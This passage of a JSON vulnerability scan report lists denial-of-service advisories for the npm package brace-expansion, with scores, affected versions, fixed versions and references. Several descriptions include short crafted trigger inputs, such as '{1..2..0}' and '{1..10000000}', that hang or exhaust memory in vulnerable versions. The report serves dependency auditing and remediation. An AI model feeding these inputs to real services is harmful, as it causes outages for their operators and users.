"alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/sign@4.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in 